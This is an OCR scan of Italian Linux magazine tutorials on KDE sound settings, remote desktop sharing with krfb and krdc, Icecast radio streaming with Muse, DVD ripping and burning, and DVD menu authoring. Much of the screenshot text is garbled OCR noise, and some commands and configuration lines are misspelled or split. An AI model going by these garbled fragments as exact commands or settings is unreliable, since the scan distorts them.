[x] Avvia con la massima priorità possibile (priorità realtime) 


Buffer sonoro 
' ' ' ' ' ' 


232 millisecondi (10 frammenti con 4096 byte) 


RECUPERO CDDB MIXER 

Il modulo per la configurazione di aRts, il server so- Da qui vanno impostati i parametri per la ricerca di Modulo per la configurazione del mixer audio 
noro di KDE. Questo programma consente di informazioni sui Cd Audio come nome dell' artista, Kmix, utilizzato di default dal desktop KDE. Da 
ascoltare i suoni di sistema e contemporaneamen- nome dell'album e titolo della canzone. La ricerca qui è possibile caricare e salvare i volumi attual- 
te ascoltare MP3 o le musiche utilizzate nei giochi. delle informazioni può avvenire sul server remoto mente utilizzati da Kmix e variare il tempo di 
Inoltre, offre la possibilità di applicare effetti diffe- CDDB o nella cache locale, impostando nel primo esecuzione impostando il numero di dispositivi 
renti ai suoni di sistema e fornisce ai programmato- caso l'URL esatto del server e nel secondo il percor- audio da rilevare. Più basso è questo valore più 
ri un modo per ottenere il supporto sonoro so alla directory l'esecuzione di Kmix sarà rapida 


ceo. 
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Controlliamo 
il desktop da remot 


MI Passo passo come utilizzare gli strumenti integrati in KDE 
per condividere il nostro desktop all'interno di una rete e rendere 
possibile la gestione a distanza del sistema 


osa vuol dire condividere un desktop? 

Significa permettere ad uno o più utenti 

collegati in rete (una rete fisica, cioè tra 

singoli computer collegati mediante cavi, 
sistemi wireless o la stessa Internet) di visualizza- 
re il contenuto del nostro schermo, come se si tro- 
vassero seduti di fronte al nostro PC. Ovviamente, 
possiamo decidere di non limitare la condivisione 
alla semplice visualizzazione di quanto appare sul 
display, ma di estenderla all'uso attivo di mouse e 
tastiera. KDE fornisce strumenti piuttosto raffinati 
per ottenere tutto questo: si tratta di krfb per con- 
dividere una sessione di KDE e di krdc per con- 
nettersi ad un desktop remoto. Krfb permette sia 
di creare degli accessi momentanei (chiamati in- 


viti personali ), sia di stabilire una password che 

consenta una connessione permanente, ideale 

per amministrare il sistema a distanza. 
Alessandro Di Nicola 


Benvenuti nefia condivisione del deskisp KDE 


La condivisione dei desktop ci KDE permette di invitare qualcuno in 
remoto part int 


© quardare 0 controllare d iso desktop Magquion nfermanen 
suli inetà 


{crento [scadenza 

[31/21/2008 07.00 1 MA 0/21/2008 08.00.21 PM 
|©4/21/2005 07.00.31 PM 04/21/2005 08.00.31 PH 
|64/21/200% 07.60.37 PM 04/21/2006 00.00 37 PH 


Nuovo invite personale. 
fiuove inve trame posta dettrenmza 


tlimine tutto 


Suva 


MI Fig. 1 » IL tool Krfb con tre connessioni create 


ik 
Licenza: GNU GPL 


Sito WeB: www.kde.org 
Tipo: Utility 


IR bra 
LICENZA: GNU GPL 


Sito we: www.kde.org 
Tipo: Utility 


Prendi il mio desktop 


Configuriamo il sistema per consentire la condivisione del desktop con altri utenti 


© Ethereal (Analizzatore di rete) 
© Ethereal (23 1000) (Analizzatore di rete) 
4 Aroreus 
doni 19? Bittornado Chest 
"7 Konqueror (Browser Web} 
“Ta Konversation (Chat IRC) 


»i uodirrizone desàiop:) 
# è Krdc (Connessione a desiiap remoto) 
* © Uferea Feed Reader (Feed Reader) 
*n XWFAtanager (Gestione LAN senza fi) 
"O Gestore di posta Evoluion 
SI gFTPgrtP) 
® GNOME BitTorrent 
3 Gaim Inernet Les senger (laternet Messenger) 
= Alsegator (Lettore Fonti RSS) 
Mad Notfi anon 
3 Kopete (Messaggnica tstantame.a) 
È KPPP (Strumento per la connessione telefonica ad internet) 
® GnomeMeeting (Videoconferenza) 
7 [® fuefox Web Browse: (Web Browser) 


Invito - Krfb 
Benvenuti nella condivisione desktop di KDE 
La condivisione del desktop di KDE permette di 
invitare qualcuno in remoto per guardare, o anche 
controllare, il tuo desktop. Maggiori informazioni 
sugli eviti. 


Crea invito personale... ] 
—_cuiss— Parrgroni 
Invita tramite posta glettronica... 


Gestione inviti (0)... 


(x Configura ](O Chiudi 


© Pecmett ( umesiame pensa muto per (umeellare 4 dertiap 


menu di KDE, spostiamoci sul sotto 

menu Internet e selezioniamo la voce 
Krfb (Condivisione desktop) . Questo pro- 
gramma è un' interfaccia grafica che utilizza 
il protocollo Remote Frame Buffer per la 
condivisione del desktop. 


1 CONDIVISIONE DESKTOP Dal 


nestra principale di Krfb premiamo il 

pulsante Configura, così da abilitare le 
connessioni non invitate, quelle cioè che ri- 
chiedono il semplice inserimento di una pas- 
sword per esser avviate. Da qui eseguiamo 
la configurazione della condivisione. 


2 NUOVA CONDIVISIONE Dalla fi- 


nestra di configurazione abilitiamo 

l'opzione Permetti connessioni non 
invitate e quella Permetti connessioni sen- 
za invito per controllare il desktop . Questa 
permette il controllo del desktop (oltre alla 
semplice visione) a chi si collega da remoto. 


3 TIPO DI CONNESSIONE Nella fi- 


co 
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Assicuriamoci l’accesso 


Configuriamo il tipo di connessione e definiamo la password d’accesso 


Accesso |Sessione | Rete CSI WE CEE EOS 


cInviti — 
Non hai nessun invito aperto. 
['Gren'e gesusci il'invite, | 


* Permetti connessioni non invitate 
Annuncia servizio sulla rete 


Conferma connessioni senza invito prima di accettarle 
Connessioni non invitate 


x Permetti connessioni senza invito per controllare il desktop 
* Permetti connessioni non invitate 


Annuncia servizio sulla rete Password: Comessioni senza invito prima di accettare 


assssasal ti connessioni senza muito per Controllare il deshtop 
Conferma connessioni senza invito prima di accettarle | 


% Permetti connessioni senza invito per controllare il desktop 
| 


Password: 


Assicu- Clicchia- 
riamoci che l'opzione Conferma con- Inseriamo, infine, una password per il mo sul pulsante OK per confermare la 
nessioni senza invito sia disabilitata. In collegamento. Si consiglia, ovviamen- nuova configurazione. Tutto qui: ades- 

caso contrario la connessione al sistema re- te, di sceglierla con oculatezza (almeno sei so possiamo collegarci al desktop remoto da 
moto sarà rifiutata. caratteri, comprendenti anche dei numeri). un'altra macchina usando i dati inseriti. 


: Gonnessionea desktop remoto: Kidc : Gonnessione a desktop remoto Krdc 
Desktop remoto: “| Sfoglia>> | Desktop remoto: (127.0.0.1:0 N Sfoglia >> 
Inserisci l'indirizzo del computer al quale connettersi, oppure Inserisci l'indirizzo del computer al quale connettersi, oppure 
+2 Lieoea Perd Reaoms (Ferd Raderi sfoglia la rete per selezionare uno. Sono supportati | server sfoglia la rete per selezioname uno. Sono supportati | server 
P recamate eni ian compatibili con VNC e RDP. Esempi. compatibili con VNC e RDP. Esempi. 
TE SII renna 
1 Casa interna Mess engr meri Mcsengeni 
conio & Aiuto Preferenze | » @ Chiudi © Aiuto Preferenze @ Chiudi 
© Crepe comanso 0 Bospeto (Me \Lapgrih a viontane a! = Ts ca = _ | — — —_— = 
ID tiecca ta vevuane ® SPPP (Saumanto per la i eemessame tniulumn a ad veerneti 
I roreama ta sesene__@ Gaomettetng (Visesconterenza) 
COAST OE 


CONNESSIONE A DESKTOP INDIRIZZO DELLA MACCHINA IDENTIFICHIAMO LO SCHERMO 
REMOTO 


———REOEÈÉTÉT n 

Di Senza titolo - Kate 

Ele Modifica Progetto Documento Visualizza segnali on nti | 
= Aiuto & 
DÌ L'accesso al sistema richiede una E) dg DA Ra 


PS ] 
US password. Î 
reni pesi 1) I? 


FOR] (x Annata 


rw ser” ER (annui) 


VELOCITÀ DI CONNESSIONE EFFETTUIAMO IL LOGIN FINALMENTE CONNESSI! 


Pieterenze host. NNG per.i27,0.01 Krdc 


Connessione 
Tipo connessione: lAlta qualità (LAN, connessione diretta) . 


è 
Autenticazione,in corso... 


L'na 


er 


n]--| Progetti] 


n 
(1) 
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Mettiamo 
la radio online 


MI Realizziamo un progetto per la diffusione di contenuti audio in Rete. 


SOFTWARE 


SUL 
CD-DVD 


Ottimo per trasmettere una radio professionale online o semplicemente 
per ascoltare le nostre canzoni preferite in una LAN 


e abbiamo intenzione di trasmettere musi- 
ca, live acustici, brani di amici, i dischi 
preferiti, possiamo farlo semplicemente 
con Linux e con il servizio dedicato allo 
streaming audio Icecast. Il programma è Open 
Source, quindi non soggetto a vincoli proprietari e 
soprattutto a costo zero. Inoltre, si dimostra il più 
snello in quanto a carico macchina. È sufficiente 
un semplice Pentium II, una manciata di RAM, la 
scheda di rete e l'immancabile scheda audio, 
collegata ad una linea abbastanza capace per 
essere subito in grado di trasmettere musica ai 
vostri potenziali ascoltatori. Ma andiamo per gradi. 


COME FUNZIONA 
E A COSA SERVE 


Utilizzeremo due macchine per la trasmissione in 
diretta, il server con sopra Icecast e il client che 
userà qualche applicazione dedicata allo strea- 
ming verso questi servizi. Ne esistono diversi, 
compreso l'ormai famoso XMMS (con l'aggiunta 
del modulo xmms-liveice), ma più avanti analizze- 
remo alcune caratteristiche interessanti di altre 
applicazioni (Muse). Riassumiamo quello di cui 
abbiamo bisogno: 


e Connessione Internet a banda larga. Pensate 
bene se affittare un server dedicato, oppure di 
fare le cose con un normale PC, nel caso del- 
la rete locale, ricordandovi però che con un 
'ADSL Flat generica il carico d'ascolto soste- 
nibile sarà, basandoci su codifiche (encoding 
rate) abbastanza modesto, al massimo dieci 
utenti collegati per volta; 

e Probabilmente un piccolo mixer, un microfono 
e una patch telefonica da collegare al mixer 
per acquisire direttamente dal telefono; 

e lcecast Server accompagnato da un client di 


ceo. 
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streaming radio eseguibile sul computer ospi- 
tante il servizio, o su una macchina remota. 


INSTALLIAMO 
IL SERVER ICECAST 


Per installare Icecast Server, il modo più semplice 
è utilizzare apt-get (o il front-end grafico Synaptic) 
per il formato DEB specificando il pacchetto desi- 
derato, 


apt-get install icecast2 


oppure potete procedere all'installazione del pac- 
chetto da sorgente. In aggiunta al servizio vero e 
proprio, sarà necessario condire il tutto con l'in- 
stallazione di LAME e delle librerie OGG VORBIS. 
Sulla Debian Icecast è disabilitato di default, quin- 
di, dopo aver editato il file /etc/icecast2/icecast 
.XmI secondo le esigenze che il servizio dovrà 
soddisfare, potremo definire nel file /etc/default 
licecast2 la voce ENABLE impostandola su 
TRUE. Nella definizione delle caratteristiche con 
le quali il servizio sarà eseguito, il buon ammini- 
stratore dovrà conoscere le specifiche che defini- 
ranno l'interazione con gli ascoltatori e con chi 
trasmette, cioè coloro i quali inviando la musica 
da trasmettere a Icecast, genereranno la playlist 
prevista in radio. 


CONFIGURAZIONE 
DEL SERVIZIO 


Adesso concentriamoci sugli aspetti salienti da 
considerare. Le rifiniture le scoprirete man mano 
che la vostra radio acquisirà sempre più identità. 


<authentication> 
<!-- Sources log in with username 'source' --> 


£$ ICECAST 
2.2.0 
Licenza: GPL 


Sito WeB: www.icecast.org 
Tipo: MULTIMEDIA 


9 MUSE 
0.9.1 


Licenza: GPL 
Sito weg: http://muse.dyne.org 
Tipo: MULTIMEDIA 


<source-password>s0urc3-access</source- 


password> 
<!-- Relays log in username 'relay' --> 
<relay-password>r314y-access</relay-password> 
<!-- Admin logs in with the username given 

below --> 


ascolteremo la sua radio. Nel file di configurazio- 
ne le cose andranno spiegate orientativamente, 
secondo le proprie scelte, come segue: 


<mount> 
<mount-name>/mioamico</mount-name> 


<admin-user>us3r-access</admin-user> 


<username>nome_amico</username> 


<admin-password>4dmin-access</admin-password> 


<password>xxxxXxx</password> 


</authentication> 


Editiamo il file icecast.xml iniziando a cambiare le 
password di default personalizzandole come ci pare. 


IL PARAMETRO HOSTNAME 
E LE INTERFACCE DI RETE 


Questa operazione va eseguita come utente root, 
altrimenti ci sarà vietato l'accesso in scrittura. Come 
hostname inserite quello di cui disponete, dopo aver 
effettuato la registrazione di un dominio a tutti gli ef- 
fetti oppure registrate un dominio dinamico nonché 
gratuito presso www.dyndns.org o simili. 


<hostname>myradio.homelinux.org</hostname> 


Quando nel file di configurazione troverete i campi 
Bind address significa che Icecast deve essere 
informato su quali interfacce di rete sarà eseguito, 
ad esempio il vostro indirizzo ppp, e non dimenti- 
cate che, essendo un file XML, le linee che iniziano 
con i caratteri <!-- e finiscono con --> indicano 
campi commentati, cioè rappresentano funzioni 
che non saranno eseguite. Come nell'esempio pre- 
cedente, il campo Bind address è commentato di 
default, lasciandolo invariato Icecast sarà eseguito 
su tutte le interfacce attive. Le porte con le quali il 
servizio comunicherà sono quelle di default per 
questo genere di trasmissioni TCP, 8000 e 8001. 
Per la voce mountpoint, come ad esempio mount 
point giulio, pensate a qualcosa del genere 


http://myradio.homelinux.org:8000/giulio 


Dove i mountpoint indicano flussi audio differenti, 
dichiarati nel file di configurazione, ai quali pos- 
siamo assegnare accessi specifici, con e senza 
autenticazione d'ascolto. Consideriamo il caso in 
cui un nostro amico ha un accesso su un determi- 
nato mountpoint, collegandoci via browser 


http://myradio.homelinux.o0rg:8000/mioamico 


o con XMMS da terminale 


xmms http://myradio.homelinux.org:8000 
/mioamico 


<max-listeners>2</max-listeners> 

<dump-file>/tmp/dump-examplel.ogg< 
/dump-file> 

<burst-size>65536</burst-size> 

<fallback-mount>/mioamico</fallback-mount> 

<fallback-override>1</fallback-override> 

<hîdden>1</hidden> 

<no-yp>1</no-yp> 

<authentication type="htpasswd"> 

<option name="filename" value="myauth"/> 

<option name="allow duplicate_users" 
value="0"/> 


</authentication> 


Per rendere pubblico l'ascolto e permettere agli 
ascoltatori di raggiungere la radio senza la neces- 
sità di conoscere login e password, basta com- 
mentare o eliminare del tutto la parte relativa al- 
l'autenticazione (<authentication type...</authen- 
tication>). In questo caso abbiamo definito la di- 
rectory entro il quale farlo operare, assegnato lo- 
gin e password per effettuare la trasmissione, li- 
mitato gli ascoltatori a due soltanto ed evitato il 
directory listing (campo no-yp). Per avere gli ac- 
cessi e gli eventuali errori in tempo reale, utili spe- 
cialmente durante la fase di configurazione e sta- 
bilizzazione del servizio, vi basterà usare il solito 


tail -f /var/log/icecast2/access.log 


per visualizzare gli accessi sia dei trasmettitori sia 
degli ascoltatori; puntando invece su errors.log po- 
trete tentare il debugging di qualche noioso errore. 
Come amministratori, puntando sulla porta del ser- 
vizio, potrete monitorare le attività delle radio in 
esecuzione. 


UTILIZZIAMO IL SERVIZIO 
CON MUSE 


Il server è stato configurato ed è attivo sull'IP 
pubblico, quindi raggiungibile da Internet, così 
dallo stesso PC dove è in esecuzione il server o 
da un'altra macchina remota, possiamo utilizzare 
l'applicazione che preferiamo. Per la prova utiliz- 
zeremo Muse 0.9.0 ma si può usare anche 
XMMS, disponibile in tutte le distribuzioni che uti- 
lizzano KDE. Muse rappresenta la scelta ideale 
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perché si tratta di un'applicazione dedicata allo 
streaming con caratteristiche uniche in questo 
senso, infatti consente di 


e Attivare più canali nei quali caricare diverse 
playlist; 

e Trasmettere contemporaneamente musica da 
diverse playlist (sfumare un pezzo con un altro 
giocando con i volumi); 

e Intervenire nella trasmissione con l'ausilio di un 
microfono o, affinando ancora meglio la nostra 
radio, inserire nel line-in o nell'entrata microfo- 
no della nostra scheda audio il master in usci- 
ta di un mixer sul quale è stato collegato il mi- 
crofono, una patch telefonica, un lettore CD, 
un riproduttore a nastro, una chitarra amplifica- 
ta, un sequencer, una drum machine...; 


lio del Server X o tra- 
mite connessione in 
SSH. Le icone in alto 
da sinistra verso de- 
stra indicano per ordi- 
ne: configurazione del 
server di destinazione, 
aggiunta di un nuovo 
canale, intervento del 
microfono nella  tra- 
smissione, mute on/ 
mute off delle vostre 
casse audio, visualiz- 
zazione dei Vumeters, 
credits agli sviluppato- 
ri. Eseguendo Muse in 
veste grafica, ma lan- 


i a O3)]_PMETEsExE 


Aichi Server 
Lame Streaming 03) |Ogg/Vartis Stremming 
Configure Lame Encoder 
Qualty low) ® frign) | Moge fmor (= 
2.0( 16m 22050H2 ) 
Racord Lame Stream 
Enter Menamel 


fim Expert 


Profe 
Browse.) Record now 


Most [192 168.1253 — Pont [60 
Name [&zreamimg ah RAI Lnt feta 


Desergton [Fr ve Toliware baazie Sr 


| Logri Type [icecant :(3) Lnername fim 


Come) Frofte 


di Linea ci Mm IMAEN Sr | Ire 16135 PANDA an 
I Fig. 2 è Avviando l'applicazione dalla riga di 
comando è possibile leggere in output diversi 
dati di conessione 


ciando il programma da terminale (Figura 2), pos- 
siamo avere in tempo reale, ben stampato sul- 
l'output della linea di comando, le caratteristiche 
in esecuzione, come il server al quale siamo con- 
nessi, l'encoding selezionato, il pezzo in esecu- 
zione, ecc. Cliccando sull'icona lets stream appa- 
rirà il pannello di streaming (Figura 3). Da qui po- 
trete selezionare la qualità d'encoding in maniera 
orientativa oppure definendola nei dettagli con 
l'ausilio del bottone l'm Expert. In base alla vostra 
capacità di banda in upload (solitamente le ADSL 
a 128 garantiscono fino a 30kb/s), raggiungerete 


I Fig. 1 è Muse in esecuzione, con i comandi 
bene in vista e molto intuitivi 


e Trasmettere contemporaneamente la stessa 
trasmissione su due o più server nella rete; 

e Encoding Mp3 o OGG Vorbis; 

e Massima configurabilità delle proprietà di en- 
coding (compressione) dello streaming; 

e Monitoraggio dei volumi e dell'ampiezza di 
banda che la trasmissione sta occupando; 

e Modalità d'esecuzione dei pezzi singoli (quelli 
selezionati) oppure continua, che esegue tutta 
la playlist e loop; 

e Streaming in tempo reale da tutto ciò che stia- 
mo ascoltando. 


E in tutto questo Muse risulta essere leggerissimo 
(alcune parti sono in Assembler), si presenta co- 
me un'applicazione embedded allo streaming, 
fortemente incatenata e specifica per questo ge- 
nere di trasmissioni e gestione di flussi. Muse 
(Figura 1) è esplicitamente designata in just for 
streaming, permette l'esecuzione della vostra ra- 
dio anche da linea di comando lasciando spazio 
anche a chi decide di andare in onda senza l'ausi- 
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la vostra compressio- 
ne ideale. Nel form 
Enter filename potrete 
selezionare un enco- 
der differente dall'og- 
genc o dal lame, e nel- 
la sezione sottostante 
specificare le imman- 
cabili caratteristiche di 
connessione: l'hostna- 
me o l'IP del server da 
raggiungere, la porta, il 
mountpoint che de- 
scrive il file che man 
mano viene generato e 
rigenerato sul server, il 
nome della vostra ra- 
dio, l'indirizzo della vo- 
stra radio (potreste in- 
serire l'URL del sito 
che non è ospitato né 


TAGLIE 
Add Server 


Lame Streaming (MP3)| Ogg/Vorbis Streaming | 
Configure Ogg/Vorbis Encoder 


Mode |mor [=] 


2,0 ( 16Kbit/s 22050Hz ) 
Record Ogg/Vorbis Stream 


Enter filename 


| Browse... | Record now! | 


Quality: (low) ® (high) 


lm Expert...) 


Profile... 


| Appwv_ | 


Host [192.168.1.252 Port [B000 Mnt [live.ogg 


Name [free steaming Url I 


Description [Free Software Multiple Streaming Engine 


Login Type |icecast [+] Username |mycot 
| Connect | Profile... [Delete 1E=327| Rigoni 


I Fig. 3 è Pannello di configurazione del flusso 
di streaming 


sul server né sulla macchina dalla quale stream- 
mate), il tipo di login che varia alla tipologia di ser- 
ver che usate, nel nostro caso icecast2, e infine la 
vostra username e la vostra password. Cliccare, 


dunque, su Connect! 
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iamo un DVD & 


SOFTWARE 


MI Conosciamo meglio le tecniche e impariamo ad utilizzare i programmi 
che ci permettono di estrarre il contenuto dei nostri DVD video e 
trasferirlo su semplici CD o inserire più film su un singolo supporto 


razie ai codec DivX possiamo ridurre lo 

spazio fisico occupato dai nostri film 

con perdite di qualità accettabili. È pos- 

sibile masterizzare tra i 6 e i 9 film su un 
singolo DVD (il doppio su supporti a doppio stra- 
to), oppure trasferire un intero film su un singolo 
CD grazie all'efficienza del codec Mpeg4. 


LE TRACCE DA ESTRARRE 


Prima di cominciare la fase di rippaggio del nostro 
DVD, dobbiamo identificare la traccia video e la 
traccia audio che ci interessano. Per fare ciò, in- 
seriamo il DVD nel lettore del computer, apriamo 
una console ed eseguiamo il comando 


mplayer dvd:// -v | grep open 


Tra le prime righe ci sarà una parte simile a questa: 


DVD successfully opened. 
[open] audio stream: 0 audio format: ac3 
(5.1) language: en aid: 128 
[open] audio stream: 1 audio format: ac3 
(5.1) language: it aid: 129 
[open] audio stream: 2 audio format: ac3 
(stereo) language: en aid: 130 
[open] number of audio channels on disk: 3. 


L'output generato ci consente di capire l'identifi- 
cativo della traccia audio che ci interessa. Nel no- 
stro caso, supponendo di voler utilizzare l'audio 
italiano, dovremo utilizzare l'aid 129 quando dare- 
mo le istruzioni per il rippaggio. 


RIPPAGGIO DA LINEA 
DI COMANDO 


Il primo passo serve a creare il file contenente la 
traccia audio compressa in MP3. 


rm frameno.avi 
mencoder dvd:// -ovc frameno -0ac 


mp3lame -lameopts br=128:q= 9:ag= 9 


:cbr:mode=1 -o frameno.avi -aid 128 


GMENCODER 


K 0.1.0 


Licenza: GNU GPL 
Sito weg: http://gmencoder. 


AI termine della creazione della traccia audio ot- 
terremo un messaggio del genere. 


sourceforge.net 
Tipo: MULTIMEDIA 


0.11.23 
Licenza: GNU GPL 


Sito WeB: www.k3b.org 
Tipo: MULTIMEDIA 


Recommended video bitrate for 650MB CD: 630 
Recommended video bitrate for 700MB CD: 693 
Recommended video bitrate for 800MB CD: 813 


Recommended video bitrate for 2 x 800MB 
CD: 1719 


Seguendo il suggerimento e supponendo di voler 
creare un file da 700 Mbyte, realizziamo il primo 
passo del rippaggio della traccia video: 


mencoder dvd:// -oac copy -ovc lavc 
-lavcopts vcodec=mpeg4:vhq :vpass=l: 
vbitrate=693 -ofps=25 -vop scale=384x288 
-of avi -o film.avi 


Oltre al film verrà creato un file di log, utilizzato nel 
secondo passaggio per ottimizzare il video. 


mencoder dvd:// -ocac copy -ovc lavc 
-lavcopts vcodec=mpeg4:vhq:vpass=2: 
vbitrate=693 ofps=25 -vop scale=384x288 
-of avi -o film.avi 


Il file così realizzato è pronto per essere visualiz- 
zato subito o dopo averlo masterizzato su sup- 
porto digitale CD o DVD. 
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GLI STRUMENTI DA UTILIZZARE 


IL primo programma che ci occorre è —sterizzazione K3b [www.K3b. org) per 
mplayer (www.mplayer.hu), utile per la creazione dei supporti. È forte- 

la visione sia dei DVD sia dei DivX. mente consigliata la ricompilazione 
Per il rippaggio da linea di comando del programma mencoder per adat- 
possiamo utilizzare mencoder o la tarlo alla capacità di calcolo del pro- 
sua interfaccia grafica gmencoder cessore del proprio computer, in 
(http://gmencoder.sourceforge.net). quanto ciò potrebbe anche dimezza- 
Infine occorre il programma di ma- re i tempi di rippaggio. 
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Rippaggio del DVD in modalità grafica 


Utiliziamo il front-end grafico di mencoder per l’estrazione del contenuto del DVD 


CINI IMI I 
FZTIT.I] Pc stmea 
DELOS sii 


Dune Prg quatty (sio) 


Rien o 
ROTTI 
Al 
Dettad pece pi Ova ngi Cc 
[rete 
= 


CONI 
# avi banser C mprg tei 


T" tinture arca copy #10 


aperto gmencoder e inserito il DVD 

nel lettore del computer, si aprirà l'in- 
terfaccia grafica, divisa in tre settori: Ripping 
options, Data source options e Output op- 
tions. In "Data source options", scegliamo 
come sorgente il DVD e quindi clicchiamo su 
"Analyse DVD". Dopo qualche secondo ne- 
cessario all'analisi del contenuto, il pro- 
gramma avrà riconosciuto le tracce che 
compongono il nostro DVD. 


1 ANALISI DEL DVD Dopo aver 


Bareya Do 


PISELLI TEZZI zoro 


IRTITEA ram ni 
Ca SO] 
Cat e C" detire arca copy tt 
% fini uan! peg dante 


VIDEO Nella sezione "Ripping op- 

tions", selezioniamo nella parte rela- 
tiva al video il tipo di codec mpeg, il rip- 
paggio del tipo a 3 passaggi, il calcolo auto- 
matico del bitrate e l'uso dell'alta qualità, 
spuntando le rispettive caselle di controllo. 
Nella sezione "Output options", più precisa- 
mente alla voce "Size and number of CDs", 
impostiamo la lunghezza che desideriamo 
per la durata del nostro filmato. 


2 IMPOSTAZIONE PARAMETRI 


Qrea 


PARAMETRI AUDIO 
3 Selezioniamo ancora nella sezione 

"Ripping option" e nella parte relativa 
all'audio-video il tipo di codec lame, il bitra- 
te dell'audio, la qualità e la lingua, e con- 
temporaneamente nella sezione "Output 
options" nella finestra "Output file” indi- 
chiamo il nome da dare al nostro file. In ag- 
giunta possiamo scegliere anche la dimen- 
sione in pixel del filmato ed eventualmente i 
sottotitoli da visualizzare. 


Trasferiamo il DivX su CD o DVD 


I passaggi necessari per masterizzare il tutto con K3b 


per 
onu DS o0000 Matroi Tutti (tie 


Benvenuto in K3b 0.11.16 - La semplicità di ma 
cD/DvD 


9 {o 
Nuovo progetto CÒ autilà uovo progetto LO dati -—’ Nuova progetto DVD dati 
@ & 


Gopu CO. Capceta CO-RW. 


avviato il programma basta clicca- 

re su nuovo progetto CD (DVD) da- 
ti e sfogliare l'albero delle directory, fi- 
no a trovare quella nella quale abbiamo 
salvato i file contenenti i nostri film in 
formato compresso. 


1 IL NUOVO PROGETTO Dopo aver 


ceo. 
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KID data project Nome — Tipo Dimensione 


DA avi Vesro Mcroson AVI 96.3 Mbyte Momerpx opiDesatopr/vwedioa ivi 

LOL avi Viso Microsolt AVI 70.1 Miyte — MomerpicapiDesatop/L/ywed/10} avi 
È 10220 Viseo Merosoft AVI 134.2 MByte /homelpicopDesktop/Liwed102 avi 
È 101.21 Viseo Merosont AM 955 Mbyte /MomeprapDesktop/L/®wed/303 avi 
T 104 271 Viseo Merosolt AVI 52.3 MByte — MomemiapDesktop/L'ywed/L04 avi 
E 105 ma Viseo Microsoft AVI 65.5 Miîysa - MomelpicapOesktop/1/bwed/y0$ aut 
E 106 an Veseo Mcrosoni Avi 129.8 Miyte - MomaermprapDesatopri/swea/10% avi 


punto sarà sufficiente trascinare i 

file dalla parte superiore a quella 
inferiore della finestra di K3b e quindi 
cliccare su "Burn" dopo aver inserito 
nel masterizzatore il supporto vergine 
sul quale andranno masterizzati i film. 


», SELEZIONE DEI FILE A questo 


Progetto dati i—— rime 
Scrimura In cceso | Impostazione | Descrmore di venue: | Foa system | Avanzate 


r Diposmvo a scnttura 
GENERIC OVO DUM dra #| velocità: Automatico ®) O 


Mociuicà scrmmura 


Utente predefinito | Salva impostazioni utente 


Nella nuova finestra potremo im- 

postare le varie opzioni, quale il ti- 
tolo del CD, il tipo di masterizzazione 
(con o senza simulazione, al volo o 
creando un file immagine] e una volta fi- 
nito, cliccare sul tasto Scrivi. 


3 OPZIONI DI MASTERIZZAZIONE 


Un menu 
er i nostri DVD 


SUL 
CD-DVD 


I Vi siete mai chiesti come si creano quei bellissimi e sofisticati menu 
che consentono di “navigare” all'interno del contenuto di un DVD? 
Seguiteci e vi insegneremo come realizzarne uno per i vostri video 


er la prova utilizzeremo il software dvdau- 
thor, più precisamente la sua interfaccia 
grafica Qdvdauthor. Si tratta di un pro- 
gramma che consente di generare e 
personalizzare il menù di un DVD di nostra 
creazione. Si possono dunque aggiungere menu, 


tezza degli strumenti disponibili. 
Per questo motivo ancora non può certo essere 
paragonato ad analoghi programmi per Windows, 
ma svolge egregiamente il proprio lavoro, specie 
per l'utilizzo amatoriale. 

Carmine De Pasquale 


ODVDAUTHOR 


og 0.0.9 


Licenza: GPL 


Sito weg: http://qdvdauthor 
«-sourceforge.net 


Tipo: Multimedia 


sottomenu, accesso diretto ai capitoli, immagini 
di sfondo e scritte di ogni genere per dare un 
aspetto professionale ai nostri video amatoriali. 
Grazie alla sua interfaccia, rende più semplice e 
immediato l'utilizzo degli strumenti a riga di 
comando, anche se non implementa ancora tutte 
le funzionalità di cui dvdauthor dispone. Il 
programma è ancora nelle fasi iniziali di sviluppo 
e non è supportato da un'interfaccia grafica all'al- 


a 


movie2 


Prepariamo il nuovo progetto 
Configurazione preliminare e creazione delle directory che conterranno i file video e audio 
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Qr Gancei 


Il programma è ancora in versione 

alpha, quindi molti pulsanti ed alcune 
voci di menu non sono abilitate come e visua- 
lizzano l'avviso "This function is not yet im- 
plemented". Per creare i menu è necessario 
configurare alcune opzioni preliminari. 


PROGRAMMA Una volta configu- 

rato il progetto è necessario indicare 
al programma dove trovare gli altri stru- 
menti indispensabili per la realizzazione dei 
menu animati nonché di tutte le altre fun- 
zioni del programma 


il menu su Tools->Setup e specifi- 

chiamo, nella nuova finestra, il nome 
del progetto e la cartella nella quale verran- 
no create le cartelle AUDIO_TS e VIDEO_TS 
che conterranno i file audio e video che co- 
stituiscono il DVD. 


1 INTERFACCIA PRINCIPALE 2 NUOVO PROGETTO Selezioniamo 


3 CONFIGURAZIONE DEL 
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Sistemiamo i componenti grafici 


Selezioniamo lo sfondo e creiamo i pulsanti che comporranno il menu 


-Reste- 
Ph (720x576) 
PAL (704x578) 


Stretch type 


® Streti 


prima cosa da fare è definire uno sfon- 

do per il menu cliccando su "Add back- 
ground". Scelta l'immagine dobbiamo con- 
vertirla nelle dimensioni standard dei formati 
PAL o NTSC. Inutile dire che il formato da uti- 
lizzare deve essere lo stesso col quale è stato 
acquisito il filmato. 


1 IMPOSTIAMO LO SFONDO La 


creare un pulsante testuale bisognerà 

cliccare col tasto destro sullo sfondo e 
quindi selezionare "Add Text". A questo pun- 
to impostiamo il tipo di carattere, il colore e 
scriviamo il testo del pulsante, inserendo 
una voce con riferimento all'operazione che 
dovrà svolgere in seguito. 


3 UN PULSANTE TESTUALE Per 


cedura per la creazione di un pulsante 

grafico è analoga a quella per il pul- 
sante testuale, è sufficiente selezionare "Add 
image" e indicare il riquadro nel quale posi- 
zionare il pulsante. A questo punto basta sce- 
gliere l'immagine da usare come pulsante 
con riferimento ai filmati che dovrà avviare. 


FÀ UN PULSANTE GRAFICO La pro- 


Effetti grafici e funzioni da svolgere 


Miglioriamo l’aspetto grafico e impostiamo le funzioni dei pulsanti 


General Normal Highlighted Selected 
Button 


Name 


Action 


Button 1 


Advanced >>> 


Cancel 


punto a ciascun pulsante dovrà corri- 

spondere una funzione. Per fare ciò si 
dovrà cliccare con il tasto destro su pulsante e 
selezionare "Define as button", quindi sarà suf- 
ficiente selezionare tra le funzioni disponibili 
quella desiderata. 


1 FUNZIONI ASSOCIATE A questo 


rStandard Frame 


| 
Ì 
Ì 
| 
| 
Ì 
| 


AL PULSANTE Definita la funzione 

che dovrà svolgere il pulsante si può 
anche definire l'aspetto che avrà ciascuno di 
essi una volta selezionato. Ad esempio si può 
aggiungere un effetto zoom, la variazione di 
colore o di posizione, ecc. 


2 APPLICHIAMO UN EFFETTO 


